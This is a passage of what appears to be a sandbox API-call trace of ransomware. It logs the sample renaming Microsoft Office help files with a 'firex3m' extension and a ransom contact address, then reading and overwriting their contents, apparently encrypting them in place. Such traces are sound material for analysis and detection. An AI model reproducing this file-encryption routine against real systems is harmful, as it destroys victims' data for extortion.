lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.157] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.157] CloseHandle (hObject=0x674) returned 1 [0177.158] GetProcessHeap () returned 0x630000 [0177.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a53a8 | out: hHeap=0x630000) returned 1 [0177.158] GetProcessHeap () returned 0x630000 [0177.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0177.158] GetProcessHeap () returned 0x630000 [0177.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0177.158] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f8b3047, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x5fbfd20, dwReserved1=0x6a5318, cFileName="WINPROJ_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~1.FIR")) returned 0x6d5540 [0177.158] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0177.158] Sleep (dwMilliseconds=0x1) [0177.371] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS", len=0x42 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS") returned 1 [0177.371] GetProcessHeap () returned 0x630000 [0177.371] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2af0) returned 0x707d3d0 [0177.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0177.372] CloseHandle (hObject=0x674) returned 1 [0177.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x290acd1, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x290acd1, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4b7ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIFFD6~1.FIR")) returned 0x6d5340 [0177.373] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0177.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0177.374] GetProcessHeap () returned 0x630000 [0177.374] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7123a80 [0177.374] GetProcessHeap () returned 0x630000 [0177.374] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712eeb0 [0177.374] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.374] ReadFile (in: hFile=0x674, lpBuffer=0x7123a80, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7123a80*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.375] GetProcessHeap () returned 0x630000 [0185.375] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0185.375] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.375] WriteFile (in: hFile=0x674, lpBuffer=0x712eeb0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x712eeb0*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.376] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.376] WriteFile (in: hFile=0x674, lpBuffer=0x713a2af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x713a2af*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.378] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.378] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.378] CloseHandle (hObject=0x674) returned 1 [0185.378] GetProcessHeap () returned 0x630000 [0185.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712eeb0 | out: hHeap=0x630000) returned 1 [0185.378] GetProcessHeap () returned 0x630000 [0185.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7123a80 | out: hHeap=0x630000) returned 1 [0185.382] GetProcessHeap () returned 0x630000 [0185.382] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0185.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x290acd1, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x290acd1, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3471249d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4b7d0, dwReserved0=0xad47496, dwReserved1=0x7123a78, cFileName="VISIO_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIFFD6~1.FIR")) returned 0x6d53c0 [0185.382] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0185.382] Sleep (dwMilliseconds=0x1) [0185.386] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK", len=0x46 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK") returned 1 [0185.386] GetProcessHeap () returned 0x630000 [0185.386] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29f8) returned 0x707d3d0 [0185.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.387] CloseHandle (hObject=0x674) returned 1 [0185.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0185.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0185.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~1.FIR")) returned 0x6d53c0 [0185.388] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0185.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.388] GetProcessHeap () returned 0x630000 [0185.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0185.389] GetProcessHeap () returned 0x630000 [0185.389] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a46b8 [0185.389] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.389] ReadFile (in: hFile=0x674, lpBuffer=0x6a5318, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesRead=0x5fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0185.390] GetProcessHeap () returned 0x630000 [0185.390] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0185.390] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.390] WriteFile (in: hFile=0x674, lpBuffer=0x6a46b8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a46b8*, lpNumberOfBytesWritten=0x5fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0185.390] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.390] WriteFile (in: hFile=0x674, lpBuffer=0x6a4717*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4717*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.390] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.390] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.390] CloseHandle (hObject=0x674) returned 1 [0185.391] GetProcessHeap () returned 0x630000 [0185.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a46b8 | out: hHeap=0x630000) returned 1 [0185.391] GetProcessHeap () returned 0x630000 [0185.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0185.391] GetProcessHeap () returned 0x630000 [0185.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0185.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x34738652, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x5fbfd20, dwReserved1=0x6a5318, cFileName="SETLANG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~1.FIR")) returned 0x6d5280 [0185.391] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0185.391] Sleep (dwMilliseconds=0x1) [0185.401] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK", len=0x46 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK") returned 1 [0185.401] GetProcessHeap () returned 0x630000 [0185.402] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29f4) returned 0x707d3d0 [0185.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.402] CloseHandle (hObject=0x674) returned 1 [0185.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0185.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0185.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~2.FIR")) returned 0x6d5400 [0185.404] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0185.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.404] GetProcessHeap () returned 0x630000 [0185.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5048 [0185.404] GetProcessHeap () returned 0x630000 [0185.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0185.404] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.404] ReadFile (in: hFile=0x674, lpBuffer=0x6a5048, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5048*, lpNumberOfBytesRead=0x5fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0185.405] GetProcessHeap () returned 0x630000 [0185.405] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0185.405] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.405] WriteFile (in: hFile=0x674, lpBuffer=0x6a4628*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesWritten=0x5fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0185.406] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.406] WriteFile (in: hFile=0x674, lpBuffer=0x6a4687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4687*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.406] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.406] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.406] CloseHandle (hObject=0x674) returned 1 [0185.406] GetProcessHeap () returned 0x630000 [0185.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0185.406] GetProcessHeap () returned 0x630000 [0185.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5048 | out: hHeap=0x630000) returned 1 [0185.406] GetProcessHeap () returned 0x630000 [0185.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0185.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3475e8db, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x5fbfd20, dwReserved1=0x6a5048, cFileName="SETLANG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~2.FIR")) returned 0x6d53c0 [0185.406] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0185.406] Sleep (dwMilliseconds=0x1) [0185.417] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT", len=0x44 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT") returned 1 [0185.417] GetProcessHeap () returned 0x630000 [0185.417] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29f0) returned 0x707d3d0 [0185.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.418] CloseHandle (hObject=0x674) returned 1 [0185.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0185.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0185.419] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~3.FIR")) returned 0x6d4ec0 [0185.419] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0185.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.420] GetProcessHeap () returned 0x630000 [0185.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa9b58 [0185.420] GetProcessHeap () returned 0x630000 [0185.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa9978 [0185.420] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.420] ReadFile (in: hFile=0x674, lpBuffer=0x6fa9b58, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9b58*, lpNumberOfBytesRead=0x5fbff0c*=0xc0, lpOverlapped=0x0) returned 1 [0185.421] GetProcessHeap () returned 0x630000 [0185.421] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0185.421] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.421] WriteFile (in: hFile=0x674, lpBuffer=0x6fa9978*, 